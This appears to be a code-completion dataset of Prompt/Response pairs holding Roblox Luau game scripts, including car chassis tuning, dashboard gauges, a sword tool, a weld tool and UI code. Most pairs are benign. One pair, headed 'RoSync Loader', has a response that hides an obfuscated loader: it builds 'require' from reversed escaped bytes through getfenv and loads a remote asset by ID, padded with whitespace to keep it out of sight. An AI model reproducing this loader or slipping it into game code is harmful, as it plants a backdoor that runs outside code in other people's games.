	local function cleanupAction(action: UserActions.Action)
		local cleanup = cleanupMap[action]
		if cleanup then
			cleanup()
			cleanupMap[action] = nil
		end
	end

	conns.activated = events.actionActivated:Connect(function(action: UserActions.Action)
		if action.parent then
			local state: store.State = store:getState()

			-- Each parent action can only have one sub-action active at a time, so
			-- this will deactivate any other active sub-actions for the current
			-- parent
			local subAction = UserActions.getActiveSubAction(state.actions, action.parent)

			if subAction then
				cleanupAction(subAction)
			end
		end

		if action.onActivated then
			local cleanup = action.onActivated(action, store)
			if cleanup then
				cleanupMap[action] = cleanup
			end
		end
	end)

	conns.deactivated = events.actionDeactivated:Connect(function(action: UserActions.Action)
		cleanupAction(action)
	end)

	conns.closed = events.selfieModeClosed:Connect(function()
		for _, cleanup in pairs(cleanupMap) do
			cleanup()
		end

		cleanupMap = {}
	end)

	local function disconnect()
		for _, conn in pairs(conns) do
			conn:Disconnect()
		end
	end

	return disconnect
end

local function mount(playerGui: BasePlayerGui)
	local ref = Roact.createRef()
	local guiController = ExperienceComponents.GuiController.new({ ref })

	local function onSelfieModeToggled(inSelfieMode: boolean)
		if inSelfieMode then
			local player = Players.LocalPlayer
			local camera = workspace.CurrentCamera

			if player and camera then
				focusCharacter(player, camera)
			end

			guiController:disable()
			guiController:setMobileTouchGuiEnabled(true)
		else
			guiController:enable()
		end

		if ScreenshotHud then
			ScreenshotHud.Visible = inSelfieMode
		end
	end

	local root = Roact.createElement("ScreenGui", {
		ZIndexBehavior = Enum.ZIndexBehavior.Sibling,
		ResetOnSpawn = false,
		[Roact.Ref] = ref,
	}, {
		App = Roact.createElement(RoactRodux.StoreProvider, {
			store = store,
		}, {
			Roact.createElement(App, {
				onSelfieModeToggled = onSelfieModeToggled,
				screenshotHud = ScreenshotHud,
			}),
		}),
	})

	local element = Roact.mount(root, playerGui, "SelfieMode")

	return element
end

return function(playerGui: BasePlayerGui)
	playerGui = if playerGui then playerGui else Players.LocalPlayer:WaitForChild("PlayerGui")

	local function setEnabled(isEnabled: boolean)
		assert(RunService:IsClient(), "SelfieMode.setEnabled must be called on the client")
		assert(t.boolean(isEnabled), "Bad argument #1 to SelfieMode.setEnabled: expected a boolean")

		if isEnabled then
			-- Mount SelfieModeUI to PlayerGui
			mountedTree = mount(playerGui)
			disconnectActions = handleActionActivation()

			-- Setting up connections
			connections.characterAddedConnection = Players.LocalPlayer.CharacterAdded:Connect(function()
				if not initialSpawn then
					store:dispatch(selfieModeClosed())
					setEnabled(false)
					task.wait()
					setEnabled(true)
				end
				initialSpawn = false
			end)
		else
			-- Unmount SelfieModeUI from PlayerGui
			if mountedTree then
				Roact.unmount(mountedTree)
				mountedTree = nil
			end

			-- Disconnecting connections
			for _, connection in pairs(connections) do
				connection:Disconnect()
			end

			if disconnectActions then
				disconnectActions()
			end
		end
	end

	return setEnabled
end


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
script.Parent:WaitForChild("RPM")

local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false

script.Parent.Parent.Adornee=car.Body.DGauges.RPM
script.Parent.Parent.CanvasSize=Vector2.new(660,330)

local _Tune = require(car["A-Chassis Tune"])
local Values = script.Parent.Parent.Parent.Values
local IsOn = script.Parent.Parent.Parent.IsOn

local _lRPM = _Tune.Redline
local revEnd = math.ceil(_lRPM/1000)

Values.RPM.Changed:connect(function()
	local r = math.min(1,Values.RPM.Value / (revEnd*1000))
	local rev = -3+(r*4)
	script.Parent.RPM.BackgroundColor3 = Color3.fromRGB(255*rev,0,0)
end)


Prompt:
-- Fator de torque aplicado para mudar a direção da roda
-- Número maior geralmente significa frenagem mais rápida

Response: local BRAKING_TORQUE = 1000


Response:
script.Parent:WaitForChild("A-Chassis Interface")
script.Parent:WaitForChild("Plugins")
script.Parent:WaitForChild("README")

local car=script.Parent.Parent
local _Tune=require(script.Parent)

local Drive=car.Wheels:GetChildren()

function getParts(model,t,a)
	for i,v in pairs(model:GetChildren()) do
		if v:IsA("BasePart") then table.insert(t,{v,a.CFrame:toObjectSpace(v.CFrame)})
		elseif v:IsA("Model") then getParts(v,t,a)
		end
	end
end

for _,v in pairs(Drive) do

	for _,a in pairs({"Top","Bottom","Left","Right","Front","Back"}) do
		v[a.."Surface"]=Enum.SurfaceType.SmoothNoOutlines
	end

	local WParts = {}

	local tPos = v.Position-car.DriveSeat.Position
	if v.Name=="FL" or v.Name=="RL" then
		v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(90))
	else
		v.CFrame = car.DriveSeat.CFrame*CFrame.Angles(math.rad(90),0,math.rad(-90))
	end
	v.CFrame = v.CFrame+tPos

	if v:FindFirstChild("Parts")~=nil then
		getParts(v.Parts,WParts,v)
	end
	if v:FindFirstChild("Fixed")~=nil then
		getParts(v.Fixed,WParts,v)
	end

	if v.Name=="FL" or v.Name=="FR" then
		v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.FCamber),0,0)
		if v.Name=="FL" then
			v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.FToe))
		else
			v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.FToe))
		end
	elseif v.Name=="RL" or v.Name=="RR" then
		v.CFrame = v.CFrame*CFrame.Angles(math.rad(_Tune.RCamber),0,0)
		if v.Name=="RL" then
			v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(_Tune.RToe))
		else
			v.CFrame = v.CFrame*CFrame.Angles(0,0,math.rad(-_Tune.RToe))
		end
	end

	for _,a in pairs(WParts) do
		a[1].CFrame=v.CFrame:toWorldSpace(a[2])
	end

	if v.Name=="FL" then
		v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.FCaster),0)
	elseif v.Name=="FR" or v.Name=="F" then
		v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.FCaster),0)
	elseif v.Name=="RL" then
		v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(-_Tune.RCaster),0)
	elseif v.Name=="RR" or v.Name=="R" then
		v.CFrame = v.CFrame*CFrame.Angles(0,math.rad(_Tune.RCaster),0)
	end

	local arm=Instance.new("Part",v)
	arm.Name="Arm"
	arm.Anchored=true
	arm.CanCollide=false
	arm.FormFactor=Enum.FormFactor.Custom
	arm.Size=Vector3.new(1,1,1)
	arm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0)
	arm.TopSurface=Enum.SurfaceType.Smooth
	arm.BottomSurface=Enum.SurfaceType.Smooth
	arm.Transparency=1

	local base=arm:Clone()
	base.Parent=v
	base.Name="Base"
	base.CFrame=base.CFrame*CFrame.new(0,1,0)
	base.BottomSurface=Enum.SurfaceType.Hinge

	local axle=arm:Clone()
	axle.Parent=v
	axle.Name="Axle"
	axle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
	axle.BackSurface=Enum.SurfaceType.Hinge

	if v.Name=="F" or v.Name=="R" then
		local axle2=arm:Clone()
		axle2.Parent=v
		axle2.Name="Axle"
		axle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0)
		axle2.BackSurface=Enum.SurfaceType.Hinge
		MakeWeld(arm,axle2)
	end

	MakeWeld(car.DriveSeat,base)
	if v.Parent.Name == "RL" or v.Parent.Name == "RR" or v.Name=="R" then
		MakeWeld(car.DriveSeat,arm)
	end

	MakeWeld(arm,axle)

	arm:MakeJoints()
	axle:MakeJoints()

	if v:FindFirstChild("Fixed")~=nil then
		ModelWeld(v.Fixed,axle)
	end

	if v:FindFirstChild("Parts")~=nil then
		ModelWeld(v.Parts,v)
	end

	if v:FindFirstChild("Steer") then
		v:FindFirstChild("Steer"):Destroy()
	end

	local gyro=Instance.new("BodyGyro",v)
	gyro.Name="Stabilizer"
	if v.Name=="FL" or v.Name=="FR"  or v.Name=="F" then
		gyro.D=_Tune.FGyroD
		gyro.MaxTorque=_Tune.FGyroMaxTorque
		gyro.P=_Tune.FGyroP
	else
		gyro.D=_Tune.RGyroD
		gyro.MaxTorque=_Tune.RGyroMaxTorque
		gyro.P=_Tune.RGyroP
	end

	if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then
		local steer=Instance.new("BodyGyro",arm)
		steer.Name="Steer"
		steer.P=_Tune.SteerP
		steer.D=_Tune.SteerD
		steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0)
		steer.cframe=base.CFrame
	else
		MakeWeld(base,axle,"Weld")
	end

	local AV=Instance.new("BodyAngularVelocity",v)
	AV.Name="#AV"
	AV.angularvelocity=Vector3.new(0,0,0)
	AV.maxTorque=Vector3.new(_Tune.PBrakeForce,0,_Tune.PBrakeForce)
	AV.P=1e9
end

for i,v in pairs(script:GetChildren()) do
	if v:IsA("ModuleScript") then
		require(v)
	end
end

wait()
ModelWeld(car.Body,car.AirSetup)

local flipG = Instance.new("BodyGyro",car.DriveSeat)
flipG.Name = "Flip"
flipG.D = 0
flipG.MaxTorque = Vector3.new(0,0,0)
flipG.P = 0

wait()

UnAnchor(car)

script.Parent["A-Chassis Interface"].Car.Value=car
for i,v in pairs(script.Parent.Plugins:GetChildren()) do
	for _,a in pairs(v:GetChildren()) do
		if a:IsA("RemoteEvent") or a:IsA("RemoteFunction") then
			a.Parent=car
			for _,b in pairs(a:GetChildren()) do
				if b:IsA("Script") then b.Disabled=false end
			end
		end
	end
	v.Parent = script.Parent["A-Chassis Interface"]
end
script.Parent.Plugins:Destroy()

car.DriveSeat.ChildAdded:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then
		local p=game.Players:GetPlayerFromCharacter(child.Part1.Parent)
		car.DriveSeat:SetNetworkOwner(p)
		local g=script.Parent["A-Chassis Interface"]:Clone()
		g.Parent=p.PlayerGui
	end
end)
car.DriveSeat.ChildRemoved:connect(function(child)
	if child.Name=="SeatWeld" and child:IsA("Weld") then
		for i,v in pairs(car.DriveSeat:GetChildren()) do
			if v:IsA("Sound") then v:Stop() end
		end
		if car.DriveSeat:FindFirstChild("Flip")~=nil then
			car.DriveSeat.Flip.MaxTorque = Vector3.new()
		end
		for i,v in pairs(car.Wheels:GetChildren()) do
			if v:FindFirstChild("#AV")~=nil then
				if v["#AV"].AngularVelocity.Magnitude>0 then
					v["#AV"].AngularVelocity = Vector3.new()
					v["#AV"].MaxTorque = Vector3.new()
				end
			end
		end
	end
end)

ver = require(script.Parent.README)


Prompt: --[Constants]:

Response:
local Cam = game.Workspace.CurrentCamera

local Plr = game.Players.LocalPlayer
local Mouse = Plr:GetMouse()
local Body
local Head
local Hum
local Core
local IsR6
local Trso
local Neck
local Waist


Prompt:
--[=[
	@return any
	Gets the value of the property object.

	:::caution
	This value might not be ready right away. Use `OnReady()` or `IsReady()`
	before calling `Get()`.
	:::
]=]

Response:
function ClientRemoteProperty:Get()
	return self._value
end


Prompt:
-- weaponTemplate : inherits weaponBase
-- Description : This template is used to easily create new weapons.

Response:
setmetatable(weaponTemplate, weaponBase)

function weaponTemplate.new(weaponModel, projectileModel, isAutomatic, fireRate)
	local newWeapon = weaponBase.new(weaponModel, projectileModel, isAutomatic, fireRate)
	setmetatable(newWeapon, weaponTemplate)
	--spawn(function() newZone:_CaptureRuntime() end)

	return newWeapon
end


Prompt: --[[Engine]]

Response:
	--Torque Curve
	Tune.Horsepower		= 700		--	[TORQUE CURVE VISUAL]
	Tune.IdleRPM		= 700		--		https://www.desmos.com/calculator/2uo3hqwdhf
	Tune.PeakRPM		= 6000		--		Use sliders to manipulate values
	Tune.Redline		= 6700		--		Copy and paste slider values into the respective tune values
	Tune.EqPoint		= 5500
	Tune.PeakSharpness	= 7.5
	Tune.CurveMult		= 0.16

	--Incline Compensation
	Tune.InclineComp	= 1.7			-- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees)

	--Misc
	Tune.RevAccel		= 150		-- RPM acceleration when clutch is off
	Tune.RevDecay		= 75		-- RPM decay when clutch is off
	Tune.RevBounce		= 500		-- RPM kickback from redline
	Tune.IdleThrottle	= 3			-- Percent throttle at idle
	Tune.ClutchTol		= 500		-- Clutch engagement threshold (higher = faster response)


Prompt: --[[Susupension]]

Response:
	Tune.SusEnabled		= true		-- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled

	--Front Suspension
	Tune.FSusDamping	= 100		-- Spring Dampening
	Tune.FSusStiffness	= 5000		-- Spring Force
	Tune.FSusLength		= 2			-- Suspension length (in studs)
	Tune.FSusMaxExt		= .5		-- Max Extension Travel (in studs)
	Tune.FSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.FSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.FWsBoneLen		= 5			-- Wishbone Length
	Tune.FWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.FAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Rear Suspension
	Tune.RSusDamping	= 100		-- Spring Dampening
	Tune.RSusStiffness	= 5000		-- Spring Force
	Tune.RSusLength		= 2			-- Suspension length (in studs)
	Tune.RSusMaxExt		= .5		-- Max Extension Travel (in studs)
	Tune.RSusMaxComp	= .1		-- Max Compression Travel (in studs)
	Tune.RSusAngle		= 80		-- Suspension Angle (degrees from horizontal)

	Tune.RWsBoneLen		= 5			-- Wishbone Length
	Tune.RWsBoneAngle	= 0			-- Wishbone angle (degrees from horizontal)
	Tune.RAnchorOffset	= {			-- Suspension anchor point offset (relative to center of wheel)
	 --[[Lateral]]		-.4		,	-- positive = outward
	 --[[Vertical]]		-.5		,	-- positive = upward
	 --[[Forward]]		0		}	-- positive = forward

	--Aesthetics
	Tune.SusVisible		= false			-- Spring Visible
	Tune.WsBVisible		= false			-- Wishbone Visible
	Tune.SusRadius		= .2			-- Suspension Coil Radius
	Tune.SusThickness	= .1			-- Suspension Coil Thickness
	Tune.SusColor		= "Really black"	-- Suspension Color [BrickColor]
	Tune.SusCoilCount	= 6				-- Suspension Coil Count
	Tune.WsColor		= "Black"		-- Wishbone Color [BrickColor]
	Tune.WsThickness	= .1			-- Wishbone Rod Thickness


Prompt:
--[[
		___      _______                _
	   / _ |____/ ___/ /  ___ ____ ___ (_)__
	  / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
	 /_/ |_|   \___/_//_/\_,_/___/___/_/___/
 						SecondLogic @ Inspare
]]

Response:
script.Parent:WaitForChild("Gear")
script.Parent:WaitForChild("Speed")

local car = script.Parent.Parent.Car.Value
car.DriveSeat.HeadsUpDisplay = false

local _Tune = require(car["A-Chassis Tune"])

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

local revEnd = math.ceil(_lRPM/1000)

local Drive={}
if _Tune.Config == "FWD" or _Tune.Config == "AWD" then
	if car.Wheels:FindFirstChild("FL")~= nil then
		table.insert(Drive,car.Wheels.FL)
	end
	if car.Wheels:FindFirstChild("FR")~= nil then
		table.insert(Drive,car.Wheels.FR)
	end
	if car.Wheels:FindFirstChild("F")~= nil then
		table.insert(Drive,car.Wheels.F)
	end
end
if _Tune.Config == "RWD" or _Tune.Config == "AWD" then
	if car.Wheels:FindFirstChild("RL")~= nil then
		table.insert(Drive,car.Wheels.RL)
	end
	if car.Wheels:FindFirstChild("RR")~= nil then
		table.insert(Drive,car.Wheels.RR)
	end
	if car.Wheels:FindFirstChild("R")~= nil then
		table.insert(Drive,car.Wheels.R)
	end
end

local wDia = 0
for i,v in pairs(Drive) do
	if v.Size.x>wDia then wDia = v.Size.x end
end
Drive = nil
local maxSpeed = math.ceil(wDia*math.pi*_lRPM/60/_Tune.Ratios[#_Tune.Ratios]/_Tune.FinalDrive)
local spInc = math.max(math.ceil(maxSpeed/200)*20,20)

if 	script.Parent.Parent.IsOn.Value then
	script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.IsOn.Value then
		script.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

script.Parent.Parent.Values.RPM.Changed:connect(function()
end)

script.Parent.Parent.Values.Gear.Changed:connect(function()
	local gearText = script.Parent.Parent.Values.Gear.Value
	if gearText == 0 then gearText = "N"
	elseif gearText == -1 then gearText = "R"
	end
	script.Parent.Gear.Text = gearText
end)

script.Parent.Parent.Values.TCS.Changed:connect(function()
	if script.Parent.Parent.Values.TCS.Value then
		script.Parent.TCS.TextColor3 = Color3.new(1,170/255,0)
		script.Parent.TCS.TextStrokeColor3 = Color3.new(1,170/255,0)
		if script.Parent.Parent.Values.TCSActive.Value then
			wait()
			script.Parent.TCS.Visible = not script.Parent.TCS.Visible
		else
			wait()
			script.Parent.TCS.Visible = false
		end
	else
		script.Parent.TCS.Visible = true
		script.Parent.TCS.TextColor3 = Color3.new(1,0,0)
		script.Parent.TCS.TextStrokeColor3 = Color3.new(1,0,0)
	end
end)

script.Parent.Parent.Values.TCSActive.Changed:connect(function()
	if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
		wait()
		script.Parent.TCS.Visible = not script.Parent.TCS.Visible
	elseif not script.Parent.Parent.Values.TCS.Value then
		wait()
		script.Parent.TCS.Visible = true
	else
		wait()
		script.Parent.TCS.Visible = false
	end
end)

script.Parent.TCS.Changed:connect(function()
	if script.Parent.Parent.Values.TCSActive.Value and script.Parent.Parent.Values.TCS.Value then
		wait()
		script.Parent.TCS.Visible = not script.Parent.TCS.Visible
	elseif not script.Parent.Parent.Values.TCS.Value then
		wait()
		script.Parent.TCS.Visible = true
	end
end)

script.Parent.Parent.Values.PBrake.Changed:connect(function()
	script.Parent.PBrake.Visible = script.Parent.Parent.Values.PBrake.Value
end)

script.Parent.Parent.Values.TransmissionMode.Changed:connect(function()
	if script.Parent.Parent.Values.TransmissionMode.Value == "Auto" then
		script.Parent.TMode.Text = "A/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,170/255,0)
	elseif script.Parent.Parent.Values.TransmissionMode.Value == "Semi" then
		script.Parent.TMode.Text = "S/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(0, 170/255, 127/255)
	else
		script.Parent.TMode.Text = "M/T"
		script.Parent.TMode.BackgroundColor3 = Color3.new(1,85/255,.5)
	end
end)

script.Parent.Parent.Values.Velocity.Changed:connect(function(property)
	script.Parent.Speed.Text = math.floor(script.Parent.Parent.Values.Velocity.Value.Magnitude) .. " SPS"
end)


Prompt: --[[Brakes]]

Response:
	Tune.ABSEnabled		= true		-- Implements ABS
	Tune.ABSThreshold	= 20		-- Slip speed allowed before ABS starts working (in SPS)

	Tune.FBrakeForce	= 1800		-- Front brake force
	Tune.RBrakeForce	= 2000		-- Rear brake force
	Tune.PBrakeForce	= 5000		-- Handbrake force

	Tune.FLgcyBForce	= 15000		-- Front brake force [PGS OFF]
	Tune.RLgcyBForce	= 10000		-- Rear brake force [PGS OFF]
	Tune.LgcyPBForce	= 25000		-- Handbrake force [PGS OFF]


Prompt: --// JAFTERGAMERTV \\--

Response:
script.Parent.MouseButton1Click:connect(function() -- The function of when the Players Clicks.
	if script.Parent.Parent.Box1.Visible == false then -- This tells wither it is open or not.
		script.Parent.Text = "  " -- Tells us that it is open.
		script.Parent.Parent.Box1.Visible = true -- Makes the box visible.
	else -- Otherwise
		script.Parent.Text = "Account" -- Tells us that it is closed.
		script.Parent.Parent.Box1.Visible = false -- Makes the box Invisible
	end -- Ends the If statement.
end) -- Ends the function in general.


Prompt: --Hand

Response:
character.Constraint.ConstraintHand.Attachment1 = RHR
character.Constraint.ConstraintHand.Attachment0 = RHL


Prompt: --Made by Luckymaxer

Response:
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")

Players = game:GetService("Players")
Debris = game:GetService("Debris")
RunService = game:GetService("RunService")

RbxUtility = LoadLibrary("RbxUtility")
Create = RbxUtility.Create

DamageValues = {
	BaseDamage = 20,
	SlashDamage = 35,
}

Damage = DamageValues.BaseDamage

BaseUrl = "http://www.roblox.com/asset/?id="

BasePart = Instance.new("Part")
BasePart.Shape = Enum.PartType.Block
BasePart.Material = Enum.Material.Plastic
BasePart.TopSurface = Enum.SurfaceType.Smooth
BasePart.BottomSurface = Enum.SurfaceType.Smooth
BasePart.FormFactor = Enum.FormFactor.Custom
BasePart.Size = Vector3.new(0.2, 0.2, 0.2)
BasePart.CanCollide = true
BasePart.Locked = true
BasePart.Anchored = false

Animations = {
	LeftSlash = {Animation = Tool:WaitForChild("LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
	RightSlash = {Animation = Tool:WaitForChild("RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
	SideSwipe = {Animation = Tool:WaitForChild("SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},
	R15LeftSlash = {Animation = Tool:WaitForChild("R15LeftSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
	R15RightSlash = {Animation = Tool:WaitForChild("R15RightSlash"), FadeTime = nil, Weight = nil, Speed = 1.5, Duration = 0.5},
	R15SideSwipe = {Animation = Tool:WaitForChild("R15SideSwipe"), FadeTime = nil, Weight = nil, Speed = 0.8, Duration = 0.5},

}

Sounds = {
	Unsheath = Handle:WaitForChild("Unsheath"),
	Slash = Handle:WaitForChild("Slash"),
	Lunge = Handle:WaitForChild("Lunge"),
}

ToolEquipped = false

ServerControl = (Tool:FindFirstChild("ServerControl") or Create("RemoteFunction"){
	Name = "ServerControl",
	Parent = Tool,
})

ClientControl = (Tool:FindFirstChild("ClientControl") or Create("RemoteFunction"){
	Name = "ClientControl",
	Parent = Tool,
})

Handle.Transparency = 0
Tool.Enabled = true

function IsTeamMate(Player1, Player2)
	return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor)
end

function TagHumanoid(humanoid, player)
	local Creator_Tag = Create("ObjectValue"){
		Name = "creator",
		Value = player,
	}
	Debris:AddItem(Creator_Tag, 2)
	Creator_Tag.Parent = humanoid
end

function UntagHumanoid(humanoid)
	for i, v in pairs(humanoid:GetChildren()) do
		if v:IsA("ObjectValue") and v.Name == "creator" then
			v:Destroy()
		end
	end
end

function DealDamage(character, damage)
	if not CheckIfAlive() or not character then
		return
	end
	local damage = (damage or 0)
	local humanoid = character:FindFirstChild("Humanoid")
	local rootpart = character:FindFirstChild("HumanoidRootPart")
	if not rootpart then
		rootpart = character:FindFirstChild("Torso")
	end
	if not humanoid or humanoid.Health == 0 or not rootpart then
		return
	end
	UntagHumanoid(humanoid)
	TagHumanoid(humanoid, Player)
	if humanoid.Parent.Side.Value == "Enemy" then
		humanoid:TakeDamage(damage)
	end
end

function CheckIfAlive()
	return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0) and true) or false)
end

function Blow(Part)
	local PartTouched
	local HitDelay = false
	PartTouched = Part.Touched:connect(function(Hit)
		if not Hit or not Hit.Parent or not CheckIfAlive() or not ToolEquipped or HitDelay then
			return
		end
		local RightArm = (Character:FindFirstChild("Right Arm") or Character:FindFirstChild("RightHand"))
		if not RightArm then
			return
		end
		local RightGrip = RightArm:FindFirstChild("RightGrip")
		if not RightGrip or (RightGrip.Part0 ~= Handle and RightGrip.Part1 ~= Handle) then
			return
		end
		local character = Hit.Parent
		if character == Character then
			return
		end
		local humanoid = character:FindFirstChild("Humanoid")
		local rootpart = (character:FindFirstChild("HumanoidRootPart") or character:FindFirstChild("Torso"))
		if not humanoid or humanoid.Health == 0 or not rootpart then
			return
		end
		local player = Players:GetPlayerFromCharacter(character)
		if player and (player == Player or IsTeamMate(Player, player)) then
			return
		end
		HitDelay = true
		local TotalDamage = Damage
		DealDamage(character, TotalDamage)
		wait(0.05)
		HitDelay = false
	end)
end

function Attack()
	Damage = DamageValues.SlashDamage
	Sounds.Slash:Play()
	--[[local Anim = Create("StringValue"){
		Name = "toolanim",
		Value = "Slash",
	}
	Debris:AddItem(Anim, 2)
	Anim.Parent = Tool]]
	local SwingAnimations = ((Humanoid.RigType == Enum.HumanoidRigType.R6 and {Animations.LeftSlash, Animations.RightSlash, Animations.SideSwipe})
		or (Humanoid.RigType == Enum.HumanoidRigType.R15 and {Animations.R15LeftSlash, --[[Animations.R15RightSlash,]] Animations.R15SideSwipe}))
	local Animation = SwingAnimations[math.random(1, #SwingAnimations)]
	Spawn(function()
		InvokeClient("PlayAnimation", Animation)
	end)
	wait(Animation.Duration)
end

function Activated()
	if not Tool.Enabled or not ToolEquipped or not CheckIfAlive() then
		return
	end
	Tool.Enabled = false
	Attack()
	Damage = DamageValues.BaseDamage
	Tool.Enabled = true
end

function CheckIfAlive()
	return (((Player and Player.Parent and Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and RootPart and RootPart.Parent) and true) or false)
end

holdanim = nil

function Equipped()
	Character = Tool.Parent
	Player = Players:GetPlayerFromCharacter(Character)
	Humanoid = Character:FindFirstChild("Humanoid")
	RootPart = Character:FindFirstChild("HumanoidRootPart")
	holdanim = Humanoid:LoadAnimation(script.Parent.Hold)
	if not CheckIfAlive() then
		return
	end
	Sounds.Unsheath:Play()
	holdanim:Play()
	ToolEquipped = true
end

function Unequipped()
	Humanoid.WalkSpeed = 16
	ToolEquipped = false
	holdanim:Stop()
end

function OnServerInvoke(player, mode, value)
	if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then
		return
	end
end

function InvokeClient(Mode, Value)
	local ClientReturn = nil
	pcall(function()
		ClientReturn = ClientControl:InvokeClient(Player, Mode, Value)
	end)
	return ClientReturn
end

ServerControl.OnServerInvoke = OnServerInvoke

Tool.Activated:connect(Activated)
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)

Blow(Handle)


Response:
script.Parent.Parent.ex2.exit1.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit2.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit3.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit4.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit5.SurfaceGui.TextLabel.TextTransparency = 1
script.Parent.Parent.ex2.exit6.SurfaceGui.TextLabel.TextTransparency = 1


Prompt:
--[[
	Creates a Symbol with the given name.

	When printed or coerced to a string, the symbol will turn into the string
	given as its name.
]]

Response:
function Symbol.named(name)
	assert(type(name) == "string", "Symbols must be created using a string name!")

	local self = newproxy(true)

	local wrappedName = string.format("Symbol(%s)", name)

	getmetatable(self).__tostring = function()
		return wrappedName
	end

	return self
end

return Symbol


Prompt: --[[ Last synced 3/9/2021 04:43                                                                                RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[                                                                                ]]--


Prompt: --/Sight

Response:
module.SightZoom 	= 5		-- Set to 0 if you want to use weapon's default zoom
module.SightZoom2 	= 0		--Set this to alternative zoom or Aimpart2 Zoom


Prompt: -- Container for temporary connections (disconnected automatically)

Response:
local Connections = {};

function WeldTool.Equip()
	-- Enables the tool's equipped functionality

	-- Start up our interface
	ShowUI();
	EnableFocusHighlighting();

end;

function WeldTool.Unequip()
	-- Disables the tool's equipped functionality

	-- Clear unnecessary resources
	HideUI();
	ClearConnections();

end;

function ClearConnections()
	-- Clears out temporary connections

	for ConnectionKey, Connection in pairs(Connections) do
		Connection:Disconnect();
		Connections[ConnectionKey] = nil;
	end;

end;

function ShowUI()
	-- Creates and reveals the UI

	-- Reveal UI if already created
	if UI then

		-- Reveal the UI
		UI.Visible = true;

		-- Skip UI creation
		return;

	end;

	-- Create the UI
	UI = Core.Tool.Interfaces.BTWeldToolGUI:Clone();
	UI.Parent = Core.UI;
	UI.Visible = true;

	-- Hook up the buttons
	UI.Interface.WeldButton.MouseButton1Click:Connect(CreateWelds);
	UI.Interface.BreakWeldsButton.MouseButton1Click:Connect(BreakWelds);

	-- Hook up manual triggering
	local SignatureButton = UI:WaitForChild('Title'):WaitForChild('Signature')
	ListenForManualWindowTrigger(WeldTool.ManualText, WeldTool.Color.Color, SignatureButton)

end;

function HideUI()
	-- Hides the tool UI

	-- Make sure there's a UI
	if not UI then
		return;
	end;

	-- Hide the UI
	UI.Visible = false;

end;


Prompt: --(continued from last line) The higher, the slower. The lower, the faster. Change the 0's to "math.pi/number." Make sure the number ISN'T 0.

Response: end --Ends the "while true do"


Prompt:
--made by Bertox
--lul

Response:
 script.Parent.Parent.Parent.Parent.Electrics.Changed:connect(function()
	if script.Parent.Parent.Parent.Parent.Electrics.Value == true then
		script.Parent.Material = Enum.Material.Neon
	else
		script.Parent.Material = Enum.Material.SmoothPlastic
	end
end)


Prompt: --local TEAM = Character:WaitForChild("TEAM")

Response:
local VisualizeBullet = script.Parent:WaitForChild("VisualizeBullet")
local Module = require(Tool:WaitForChild("Setting"))
local GunScript_Server = Tool:WaitForChild("GunScript_Server")
